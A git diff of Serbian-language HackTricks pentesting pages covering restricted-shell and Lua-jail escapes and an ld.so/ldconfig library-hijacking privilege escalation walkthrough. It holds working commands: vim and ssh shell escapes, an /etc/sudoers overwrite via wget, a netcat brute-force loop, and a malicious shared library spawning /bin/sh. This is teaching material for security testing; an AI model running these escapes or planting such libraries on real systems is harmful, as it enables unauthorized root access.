* Ovaj child proces će se naći van chroot-a
|
* Ovaj child proces će se naći van chroot-a
|
||||||
{% endhint %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
### ptrace
|
### ptrace
|
||||||
|
|
||||||
{% hint style="warning" %}
|
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||||
|
|
||||||
* Ranije je korisnicima bilo moguće da debaguju svoje procese iz procesa samog sebe... ali ovo više nije moguće podrazumevano
|
* Ranije je korisnicima bilo moguće da debaguju svoje procese iz procesa samog sebe... ali ovo više nije moguće podrazumevano
|
||||||
* U svakom slučaju, ako je moguće, možete ptrace-ovati proces i izvršiti shellcode unutar njega ([vidi ovaj primer](linux-capabilities.md#cap\_sys\_ptrace)).
|
* U svakom slučaju, ako je moguće, možete ptrace-ovati proces i izvršiti shellcode unutar njega ([vidi ovaj primer](linux-capabilities.md#cap\_sys\_ptrace)).
|
||||||
{% endhint %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
## Bash Zatvori
|
## Bash Zatvori
|
||||||
|
|
||||||
|
@ -177,50 +159,56 @@ echo $PATH
|
||||||
env
|
env
|
||||||
export
|
export
|
||||||
pwd
|
pwd
|
||||||
```
|
````
|
||||||
### Izmena PATH-a
|
|
||||||
|
#### Izmena PATH-a
|
||||||
|
|
||||||
Proverite da li možete izmeniti promenljivu okruženja PATH.
|
Proverite da li možete izmeniti promenljivu okruženja PATH.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo $PATH #See the path of the executables that you can use
|
echo $PATH #See the path of the executables that you can use
|
||||||
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
|
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
|
||||||
echo /home/* #List directory
|
echo /home/* #List directory
|
||||||
```
|
```
|
||||||
### Korišćenje vim-a
|
|
||||||
|
#### Korišćenje vim-a
|
||||||
|
|
||||||
Vim je moćan tekstualni editor koji se često koristi u Linux okruženju. Može se koristiti za uređivanje fajlova, ali takođe može biti koristan alat za eskalaciju privilegija.
|
Vim je moćan tekstualni editor koji se često koristi u Linux okruženju. Može se koristiti za uređivanje fajlova, ali takođe može biti koristan alat za eskalaciju privilegija.
|
||||||
|
|
||||||
Da biste koristili vim za eskalaciju privilegija, prvo morate pronaći fajl koji ima postavljene privilegije koje vam omogućavaju da ga menjate. Zatim možete koristiti sledeće korake:
|
Da biste koristili vim za eskalaciju privilegija, prvo morate pronaći fajl koji ima postavljene privilegije koje vam omogućavaju da ga menjate. Zatim možete koristiti sledeće korake:
|
||||||
|
|
||||||
1. Pokrenite vim sa privilegijama korisnika koji ima dozvolu za izmenu fajla. Na primer, možete pokrenuti `sudo vim` da biste dobili privilegije root korisnika.
|
1. Pokrenite vim sa privilegijama korisnika koji ima dozvolu za izmenu fajla. Na primer, možete pokrenuti `sudo vim` da biste dobili privilegije root korisnika.
|
||||||
|
|
||||||
2. U vim-u, koristite komandu `:e /etc/passwd` da biste otvorili fajl `/etc/passwd` za uređivanje. Ovde možete uneti bilo koji fajl koji ima odgovarajuće privilegije.
|
2. U vim-u, koristite komandu `:e /etc/passwd` da biste otvorili fajl `/etc/passwd` za uređivanje. Ovde možete uneti bilo koji fajl koji ima odgovarajuće privilegije.
|
||||||
|
|
||||||
3. Kada se fajl otvori, možete izmeniti njegov sadržaj. Na primer, možete dodati novog korisnika ili promeniti privilegije postojećeg korisnika.
|
3. Kada se fajl otvori, možete izmeniti njegov sadržaj. Na primer, možete dodati novog korisnika ili promeniti privilegije postojećeg korisnika.
|
||||||
|
|
||||||
4. Kada završite sa izmenama, sačuvajte fajl koristeći komandu `:wq`.
|
4. Kada završite sa izmenama, sačuvajte fajl koristeći komandu `:wq`.
|
||||||
|
|
||||||
Napomena: Korišćenje vim-a za eskalaciju privilegija zahteva odgovarajuće privilegije i može biti opasno. Uvek budite pažljivi prilikom izmene sistema fajlova i koristite ovu tehniku samo u legitimne svrhe.
|
Napomena: Korišćenje vim-a za eskalaciju privilegija zahteva odgovarajuće privilegije i može biti opasno. Uvek budite pažljivi prilikom izmene sistema fajlova i koristite ovu tehniku samo u legitimne svrhe.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
:set shell=/bin/sh
|
:set shell=/bin/sh
|
||||||
:shell
|
:shell
|
||||||
```
|
```
|
||||||
### Kreiranje skripte
|
|
||||||
|
#### Kreiranje skripte
|
||||||
|
|
||||||
Proverite da li možete kreirati izvršnu datoteku sa sadržajem _/bin/bash_.
|
Proverite da li možete kreirati izvršnu datoteku sa sadržajem _/bin/bash_.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
red /bin/bash
|
red /bin/bash
|
||||||
> w wx/path #Write /bin/bash in a writable and executable path
|
> w wx/path #Write /bin/bash in a writable and executable path
|
||||||
```
|
```
|
||||||
### Dobijanje bash-a putem SSH-a
|
|
||||||
|
#### Dobijanje bash-a putem SSH-a
|
||||||
|
|
||||||
Ako pristupate putem SSH-a, možete koristiti ovaj trik da biste izvršili bash shell:
|
Ako pristupate putem SSH-a, možete koristiti ovaj trik da biste izvršili bash shell:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ssh -t user@<IP> bash # Get directly an interactive shell
|
ssh -t user@<IP> bash # Get directly an interactive shell
|
||||||
ssh user@<IP> -t "bash --noprofile -i"
|
ssh user@<IP> -t "bash --noprofile -i"
|
||||||
ssh user@<IP> -t "() { :; }; sh -i "
|
ssh user@<IP> -t "() { :; }; sh -i "
|
||||||
```
|
```
|
||||||
### Deklaracija
|
|
||||||
|
#### Deklaracija
|
||||||
|
|
||||||
Kada se bavimo eskalacijom privilegija, prvi korak je da proverimo da li imamo pristup ograničenom shell-u, kao što je Bash shell. Ograničeni shell obično ima neke funkcionalnosti onemogućene kako bi se sprečilo izvršavanje neovlašćenih komandi. Međutim, postoje načini da se izbegne ova ograničenja i dobije potpuni pristup sistemu.
|
Kada se bavimo eskalacijom privilegija, prvi korak je da proverimo da li imamo pristup ograničenom shell-u, kao što je Bash shell. Ograničeni shell obično ima neke funkcionalnosti onemogućene kako bi se sprečilo izvršavanje neovlašćenih komandi. Međutim, postoje načini da se izbegne ova ograničenja i dobije potpuni pristup sistemu.
|
||||||
|
|
||||||
|
@ -235,54 +223,57 @@ declare -x $(id)
|
||||||
```
|
```
|
||||||
|
|
||||||
Ova komanda će izvršiti `id` komandu i prikazati informacije o trenutnom korisniku sa privilegijama `root`.
|
Ova komanda će izvršiti `id` komandu i prikazati informacije o trenutnom korisniku sa privilegijama `root`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
declare -n PATH; export PATH=/bin;bash -i
|
declare -n PATH; export PATH=/bin;bash -i
|
||||||
|
|
||||||
BASH_CMDS[shell]=/bin/bash;shell -i
|
BASH_CMDS[shell]=/bin/bash;shell -i
|
||||||
```
|
```
|
||||||
### Wget
|
|
||||||
|
#### Wget
|
||||||
|
|
||||||
Možete prebrisati na primer sudoers fajl.
|
Možete prebrisati na primer sudoers fajl.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
|
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
|
||||||
```
|
```
|
||||||
### Ostale trikove
|
|
||||||
|
#### Ostale trikove
|
||||||
|
|
||||||
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
|
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
|
||||||
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||||
[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\
|
[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\
|
||||||
**Takođe, može biti interesantna stranica:**
|
**Takođe, može biti interesantna stranica:**
|
||||||
|
|
||||||
{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %}
|
### Python zatvori
|
||||||
[bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md)
|
|
||||||
{% endcontent-ref %}
|
|
||||||
|
|
||||||
## Python zatvori
|
|
||||||
|
|
||||||
Trikovi za izlazak iz python zatvora na sledećoj stranici:
|
Trikovi za izlazak iz python zatvora na sledećoj stranici:
|
||||||
|
|
||||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
### Lua zatvori
|
||||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
|
||||||
{% endcontent-ref %}
|
|
||||||
|
|
||||||
## Lua zatvori
|
|
||||||
|
|
||||||
Na ovoj stranici možete pronaći globalne funkcije do kojih imate pristup unutar lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
Na ovoj stranici možete pronaći globalne funkcije do kojih imate pristup unutar lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
||||||
|
|
||||||
**Eval sa izvršavanjem komandi:**
|
**Eval sa izvršavanjem komandi:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
|
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
|
||||||
```
|
```
|
||||||
|
|
||||||
Neki trikovi za **pozivanje funkcija biblioteke bez korišćenja tačaka**:
|
Neki trikovi za **pozivanje funkcija biblioteke bez korišćenja tačaka**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
print(string.char(0x41, 0x42))
|
print(string.char(0x41, 0x42))
|
||||||
print(rawget(string, "char")(0x41, 0x42))
|
print(rawget(string, "char")(0x41, 0x42))
|
||||||
```
|
```
|
||||||
|
|
||||||
Enumeriraj funkcije biblioteke:
|
Enumeriraj funkcije biblioteke:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
for k,v in pairs(string) do print(k,v) end
|
for k,v in pairs(string) do print(k,v) end
|
||||||
```
|
```
|
||||||
|
|
||||||
Napomena da svaki put kada izvršite prethodnu jednolinijsku komandu u **različitom lua okruženju, redosled funkcija se menja**. Stoga, ako želite da izvršite određenu funkciju, možete izvršiti napad metodom iscrpne pretrage učitavanjem različitih lua okruženja i pozivanjem prve funkcije biblioteke "le".
|
Napomena da svaki put kada izvršite prethodnu jednolinijsku komandu u **različitom lua okruženju, redosled funkcija se menja**. Stoga, ako želite da izvršite određenu funkciju, možete izvršiti napad metodom iscrpne pretrage učitavanjem različitih lua okruženja i pozivanjem prve funkcije biblioteke "le".
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#In this scenario you could BF the victim that is generating a new lua environment
|
#In this scenario you could BF the victim that is generating a new lua environment
|
||||||
#for every interaction with the following line and when you are lucky
|
#for every interaction with the following line and when you are lucky
|
||||||
|
@ -293,24 +284,17 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
|
||||||
#and "char" from string library, and the use both to execute a command
|
#and "char" from string library, and the use both to execute a command
|
||||||
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
||||||
```
|
```
|
||||||
|
|
||||||
**Dobijanje interaktivne Lua ljuske**: Ako se nalazite unutar ograničene Lua ljuske, možete dobiti novu Lua ljusku (i nadamo se neograničenu) pozivanjem:
|
**Dobijanje interaktivne Lua ljuske**: Ako se nalazite unutar ograničene Lua ljuske, možete dobiti novu Lua ljusku (i nadamo se neograničenu) pozivanjem:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
debug.debug()
|
debug.debug()
|
||||||
```
|
```
|
||||||
## Reference
|
|
||||||
|
### Reference
|
||||||
|
|
||||||
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slajdovi: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
|
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slajdovi: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
|
||||||
|
|
||||||
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Primer eksploatacije ld.so
|
# ld.so privesc exploit example
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -18,8 +18,6 @@ Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
U sledećem odeljku možete pronaći kod datoteka koje ćemo koristiti za pripremu okruženja
|
U sledećem odeljku možete pronaći kod datoteka koje ćemo koristiti za pripremu okruženja
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="sharedvuln.c" %}
|
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include "libcustom.h"
|
#include "libcustom.h"
|
||||||
|
@ -30,15 +28,13 @@ vuln_func();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="libcustom.h" %}
|
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
void vuln_func();
|
void vuln_func();
|
||||||
```
|
```
|
||||||
{% tab title="libcustom.c" %}
|
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
|
@ -47,6 +43,7 @@ void vuln_func()
|
||||||
puts("Hi");
|
puts("Hi");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Bash" %}
|
{% tab title="Bash" %}
|
||||||
1. **Napravite** te datoteke na vašem računaru u istom folderu
|
1. **Napravite** te datoteke na vašem računaru u istom folderu
|
||||||
|
@ -54,11 +51,12 @@ puts("Hi");
|
||||||
3. **Kopirajte** `libcustom.so` u `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privilegije)
|
3. **Kopirajte** `libcustom.so` u `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privilegije)
|
||||||
4. **Kompajlirajte** izvršnu datoteku: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
4. **Kompajlirajte** izvršnu datoteku: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||||
|
|
||||||
### Proverite okruženje
|
#### Proverite okruženje
|
||||||
|
|
||||||
Proverite da li se _libcustom.so_ **učitava** iz _/usr/lib_ i da li možete **izvršiti** binarnu datoteku.
|
Proverite da li se _libcustom.so_ **učitava** iz _/usr/lib_ i da li možete **izvršiti** binarnu datoteku.
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
```
|
```
|
||||||
$ ldd sharedvuln
|
$ ldd sharedvuln
|
||||||
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
||||||
|
@ -70,14 +68,18 @@ $ ./sharedvuln
|
||||||
Welcome to my amazing application!
|
Welcome to my amazing application!
|
||||||
Hi
|
Hi
|
||||||
```
|
```
|
||||||
|
|
||||||
## Eksploatacija
|
## Eksploatacija
|
||||||
|
|
||||||
U ovom scenariju pretpostavljamo da je **neko kreirao ranjiv unos** unutar datoteke u _/etc/ld.so.conf/_:
|
U ovom scenariju pretpostavljamo da je **neko kreirao ranjiv unos** unutar datoteke u _/etc/ld.so.conf/_:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
||||||
```
|
```
|
||||||
|
|
||||||
Ranjiva mapa je _/home/ubuntu/lib_ (gde imamo pristup za pisanje).\
|
Ranjiva mapa je _/home/ubuntu/lib_ (gde imamo pristup za pisanje).\
|
||||||
**Preuzmite i kompajlirajte** sledeći kod unutar tog puta:
|
**Preuzmite i kompajlirajte** sledeći kod unutar tog puta:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
||||||
|
|
||||||
|
@ -92,9 +94,11 @@ printf("I'm the bad library\n");
|
||||||
system("/bin/sh",NULL,NULL);
|
system("/bin/sh",NULL,NULL);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Sada kada smo **kreirali zlonamernu libcustom biblioteku unutar pogrešno konfigurisane** putanje, moramo sačekati **ponovno pokretanje** ili da korisnik sa privilegijama root-a izvrši **`ldconfig`** (_u slučaju da možete izvršiti ovu binarnu datoteku kao **sudo** ili ima **suid bit**, moći ćete je izvršiti sami_).
|
Sada kada smo **kreirali zlonamernu libcustom biblioteku unutar pogrešno konfigurisane** putanje, moramo sačekati **ponovno pokretanje** ili da korisnik sa privilegijama root-a izvrši **`ldconfig`** (_u slučaju da možete izvršiti ovu binarnu datoteku kao **sudo** ili ima **suid bit**, moći ćete je izvršiti sami_).
|
||||||
|
|
||||||
Kada se to dogodi, **ponovo proverite** odakle se `sharevuln` izvršna datoteka učitava iz biblioteke `libcustom.so`:
|
Kada se to dogodi, **ponovo proverite** odakle se `sharevuln` izvršna datoteka učitava iz biblioteke `libcustom.so`:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
$ldd sharedvuln
|
$ldd sharedvuln
|
||||||
linux-vdso.so.1 => (0x00007ffeee766000)
|
linux-vdso.so.1 => (0x00007ffeee766000)
|
||||||
|
@ -102,7 +106,9 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
|
||||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
||||||
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
||||||
```
|
```
|
||||||
|
|
||||||
Kao što možete videti, **učitava se iz `/home/ubuntu/lib`** i ako ga bilo koji korisnik izvrši, izvršiće se shell:
|
Kao što možete videti, **učitava se iz `/home/ubuntu/lib`** i ako ga bilo koji korisnik izvrši, izvršiće se shell:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
$ ./sharedvuln
|
$ ./sharedvuln
|
||||||
Welcome to my amazing application!
|
Welcome to my amazing application!
|
||||||
|
@ -110,6 +116,7 @@ I'm the bad library
|
||||||
$ whoami
|
$ whoami
|
||||||
ubuntu
|
ubuntu
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Napomena da u ovom primeru nismo povećali privilegije, ali modifikovanjem izvršenih komandi i **čekanjem da korisnik sa privilegijama izvrši ranjivu binarnu datoteku** možemo povećati privilegije.
|
Napomena da u ovom primeru nismo povećali privilegije, ali modifikovanjem izvršenih komandi i **čekanjem da korisnik sa privilegijama izvrši ranjivu binarnu datoteku** možemo povećati privilegije.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -124,13 +131,16 @@ Ali postoje i druge loše konfiguracije koje mogu izazvati istu ranjivost, ako i
|
||||||
**Pretpostavimo da imate sudo privilegije nad `ldconfig`**.\
|
**Pretpostavimo da imate sudo privilegije nad `ldconfig`**.\
|
||||||
Možete navesti `ldconfig` **odakle da učita konfiguracione datoteke**, tako da možemo iskoristiti to da `ldconfig` učita proizvoljne foldere.\
|
Možete navesti `ldconfig` **odakle da učita konfiguracione datoteke**, tako da možemo iskoristiti to da `ldconfig` učita proizvoljne foldere.\
|
||||||
Dakle, kreirajmo potrebne datoteke i foldere da bismo učitali "/tmp":
|
Dakle, kreirajmo potrebne datoteke i foldere da bismo učitali "/tmp":
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd /tmp
|
cd /tmp
|
||||||
echo "include /tmp/conf/*" > fake.ld.so.conf
|
echo "include /tmp/conf/*" > fake.ld.so.conf
|
||||||
echo "/tmp" > conf/evil.conf
|
echo "/tmp" > conf/evil.conf
|
||||||
```
|
```
|
||||||
|
|
||||||
Sada, kao što je naznačeno u **prethodnom eksploitu**, **kreirajte zlonamernu biblioteku unutar `/tmp`**.\
|
Sada, kao što je naznačeno u **prethodnom eksploitu**, **kreirajte zlonamernu biblioteku unutar `/tmp`**.\
|
||||||
I na kraju, učitajte putanju i proverite odakle se binarna datoteka učitava biblioteka:
|
I na kraju, učitajte putanju i proverite odakle se binarna datoteka učitava biblioteka:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ldconfig -f fake.ld.so.conf
|
ldconfig -f fake.ld.so.conf
|
||||||
|
|
||||||
|
@ -140,6 +150,7 @@ libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
|
||||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
||||||
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
||||||
```
|
```
|
||||||
|
|
||||||
**Kao što možete videti, imajući sudo privilegije nad `ldconfig`-om, možete iskoristiti istu ranjivost.**
|
**Kao što možete videti, imajući sudo privilegije nad `ldconfig`-om, možete iskoristiti istu ranjivost.**
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
|
@ -161,7 +172,7 @@ Drugi načini da podržite HackTricks:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
364
linux-hardening/useful-linux-commands.md
Normal file
364
linux-hardening/useful-linux-commands.md
Normal file
|
@ -0,0 +1,364 @@
|
||||||
|
# Korisne Linux komande
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
